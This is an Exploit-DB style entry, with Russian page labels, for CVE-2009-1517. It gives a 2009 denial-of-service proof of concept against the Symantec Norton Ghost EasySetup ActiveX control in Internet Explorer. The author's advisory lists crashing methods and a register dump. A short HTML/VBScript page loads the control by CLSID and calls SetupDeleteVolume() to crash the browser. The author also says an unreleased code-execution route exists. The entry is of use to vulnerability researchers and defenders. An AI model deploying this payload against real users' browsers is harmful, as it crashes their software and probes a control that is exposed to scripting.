Exploit Norton Ghost Support module for EasySetup wizard - Remote Denial of Service (PoC)

[Exploiter]

EDB-ID

8523

Проверка EDB

1. Пройдено

Автор

SHINNAI

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2009-1517

Дата публикации

2009-04-23

-----------------------------------------------------------------------------------------
 Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)
 url: http://www.symantec.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 File:      EasySetupInt.dll
 Ver.:      14.0.4.30167
 ProgID:    Symantec.EasySetup.1
 Descr.:    CEasySetup Object - Support module for EasySetup wizard
 
 Marked as: RegKey Safe for Script: True
            RegKey Safe for Init: True
            Implements IObjectSafety: False
            KillBitSet: False

 Bug info:  This component contains methods which lead into a denial of
            service.
            This is the list of components:

            "GetBackupLocationPath"
            "CallUninstall"
            "SetupDeleteVolume"
            "CanUseEasySetup"
            "CallAddInitialProtection"
            "CallTour"

            Crash happens here:

            03A6B9D6   8B10             MOV EDX,DWORD PTR DS:[EAX]

            And registers risuation is:
           
            EAX 00000000
            ECX 774F9997 ole32.774F9997
            EDX 019DCB04
            EBX 00000000
            ESP 019DCAE4
            EBP 019DCB9C
            ESI 019DCCB8
            EDI 00000001
            EIP 03A6B9D6 EasySetu.03A6B9D6

            Unfortunately the vulnerability seems to be unexploitable, anyway
            I've found a way to execute arbitrary code but it's useless 
            because requires a high level of user interaction to work.
            That's why it will remain private.
            I hope that someone else will be able to exploit this vuln
            using more convenient ways.

            Peace            

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 with Internet Explorer 7
-----------------------------------------------------------------------------------------
<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SetupDeleteVolume()
 End Sub
</script>

# milw0rm.com [2009-04-23]